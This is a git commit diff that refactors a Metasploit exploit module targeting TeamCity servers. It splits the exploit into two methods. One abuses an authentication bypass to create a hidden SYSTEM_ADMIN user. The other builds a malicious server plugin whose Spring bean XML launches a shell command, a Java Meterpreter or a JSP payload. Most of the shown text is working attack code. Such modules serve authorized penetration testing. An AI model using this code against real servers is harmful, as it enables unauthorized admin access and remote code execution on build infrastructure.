reduce the size of teh exploit method by spinngin out two new methods create_payload_plugin and auth_new_admin_user. several if/unless blocks were flattened to be inline if/unless

This commit is contained in:
sfewer-r7 2024-03-13 09:58:51 +00:00
parent 4bd105202a
commit 6d84f0e898
No known key found for this signature in database
1 changed files with 170 additions and 158 deletions

View File

@ -187,52 +187,9 @@ class MetasploitModule < Msf::Exploit::Remote
token_name = nil
token_value = nil
admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alphanumeric(16)
http_authorization = auth_new_admin_user
res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
'ctype' => 'application/json',
'data' => {
'username' => admin_username,
'password' => admin_password,
'name' => Faker::Name.name,
'email' => Faker::Internet.email(name: admin_username),
'roles' => {
'role' => [
{
'roleId' => 'SYSTEM_ADMIN',
'scope' => 'g'
}
]
}
}.to_json
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.')
end
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
http_authorization = basic_auth(admin_username, admin_password)
# Login via HTTP basic authorization and store the session cookie.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
if res&.code == 401
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.')
end
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
else
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
@ -247,9 +204,7 @@ class MetasploitModule < Msf::Exploit::Remote
# Extract the authentication token from the response.
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
if token_value.nil?
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.')
end
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?
print_status("Created authentication token: #{token_value}")
@ -263,108 +218,9 @@ class MetasploitModule < Msf::Exploit::Remote
#
plugin_name = Rex::Text.rand_text_alphanumeric(8)
if target['Arch'] == ARCH_CMD
zip_plugin = create_payload_plugin(plugin_name)
case target['Platform']
when 'win'
shell = 'cmd.exe'
flag = '/c'
when 'linux', 'unix'
shell = '/bin/sh'
flag = '-c'
else
fail_with(Failure::BadConfig, 'Unsupported target platform')
end
zip_resources = Rex::Zip::Archive.new
zip_resources.add_file(
"META-INF/build-server-plugin-#{plugin_name}.xml",
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
default-autowire="constructor">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>#{shell}</value>
<value>#{flag}</value>
<value><![CDATA[#{payload.encoded}]]></value>
</list>
</constructor-arg>
</bean>
</beans>
XML
)
elsif target['Arch'] == ARCH_JAVA
# If the platform is java we can bootstrap a Java Meterpreter
if target['Platform'] == 'java'
zip_resources = payload.encoded_jar(random: true)
# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)
payload_bean_id = Rex::Text.rand_text_alpha(8)
# We start the payload in a new thread via some Spring Expression Language (SpEL).
bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"
# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.
zip_resources.add_file(
"META-INF/build-server-plugin-#{plugin_name}.xml",
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
<bean class="java.beans.Encoder">
<property name="exceptionListener" value="#{bootstrap_spel}"/>
</bean>
</beans>
XML
)
else
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.
zip_resources = Rex::Zip::Archive.new
zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
end
else
fail_with(Failure::BadConfig, 'Unsupported target architecture')
end
zip_plugin = Rex::Zip::Archive.new
zip_plugin.add_file(
'teamcity-plugin.xml',
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
<info>
<name>#{plugin_name}</name>
<display-name>#{plugin_name}</display-name>
<description>#{Faker::Lorem.sentence}</description>
<version>#{Faker::App.semantic_version}</version>
<vendor>
<name>#{Faker::Company.name}</name>
<url>#{Faker::Internet.url}</url>
</vendor>
</info>
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
</teamcity-plugin>
XML
)
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?
#
# 3. Upload the payload plugin to the TeamCity server
@ -399,9 +255,7 @@ class MetasploitModule < Msf::Exploit::Remote
'data' => message.to_s
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.')
end
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200
#
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
@ -420,9 +274,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.')
end
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
begin
@ -480,9 +332,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.')
end
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
end
ensure
#
@ -505,6 +355,168 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def auth_new_admin_user
admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alphanumeric(16)
res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
'ctype' => 'application/json',
'data' => {
'username' => admin_username,
'password' => admin_password,
'name' => Faker::Name.name,
'email' => Faker::Internet.email(name: admin_username),
'roles' => {
'role' => [
{
'roleId' => 'SYSTEM_ADMIN',
'scope' => 'g'
}
]
}
}.to_json
)
unless res&.code == 200
print_warning('Failed to create an administrator user.')
return nil
end
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
http_authorization = basic_auth(admin_username, admin_password)
# Login via HTTP basic authorization and store the session cookie.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
if res&.code == 401
print_warning('Failed to login with new admin user credentials.')
return nil
end
http_authorization
end
def create_payload_plugin(plugin_name)
if target['Arch'] == ARCH_CMD
case target['Platform']
when 'win'
shell = 'cmd.exe'
flag = '/c'
when 'linux', 'unix'
shell = '/bin/sh'
flag = '-c'
else
print_warning('Unsupported target platform.')
return nil
end
zip_resources = Rex::Zip::Archive.new
zip_resources.add_file(
"META-INF/build-server-plugin-#{plugin_name}.xml",
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd"
default-autowire="constructor">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>#{shell}</value>
<value>#{flag}</value>
<value><![CDATA[#{payload.encoded}]]></value>
</list>
</constructor-arg>
</bean>
</beans>
XML
)
elsif target['Arch'] == ARCH_JAVA
# If the platform is java we can bootstrap a Java Meterpreter
if target['Platform'] == 'java'
zip_resources = payload.encoded_jar(random: true)
# Add in PayloadServlet as this is implements Runable and we can run the payload in a thread.
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
zip_resources.add_file('/metasploit/PayloadServlet.class', servlet)
payload_bean_id = Rex::Text.rand_text_alpha(8)
# We start the payload in a new thread via some Spring Expression Language (SpEL).
bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }"
# NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail
# to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder
# as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we
# choose a property that does not exist, we generate several exceptions in the teamcity-server.log.
zip_resources.add_file(
"META-INF/build-server-plugin-#{plugin_name}.xml",
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd">
<bean id="#{payload_bean_id}" class="#{zip_resources.substitutions['metasploit']}.PayloadServlet"/>
<bean class="java.beans.Encoder">
<property name="exceptionListener" value="#{bootstrap_spel}"/>
</bean>
</beans>
XML
)
else
# For non java platforms with ARCH_JAVA, we can drop a JSP payload.
zip_resources = Rex::Zip::Archive.new
zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded)
end
else
print_warning('Unsupported target architecture.')
return nil
end
zip_plugin = Rex::Zip::Archive.new
zip_plugin.add_file(
'teamcity-plugin.xml',
<<~XML
<?xml version="1.0" encoding="UTF-8"?>
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
<info>
<name>#{plugin_name}</name>
<display-name>#{plugin_name}</display-name>
<description>#{Faker::Lorem.sentence}</description>
<version>#{Faker::App.semantic_version}</version>
<vendor>
<name>#{Faker::Company.name}</name>
<url>#{Faker::Internet.url}</url>
</vendor>
</info>
<deployment use-separate-classloader="true" node-responsibilities-aware="true"/>
</teamcity-plugin>
XML
)
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
zip_plugin
end
def get_install_path(http_authorization)
res = send_request_cgi(
'method' => 'GET',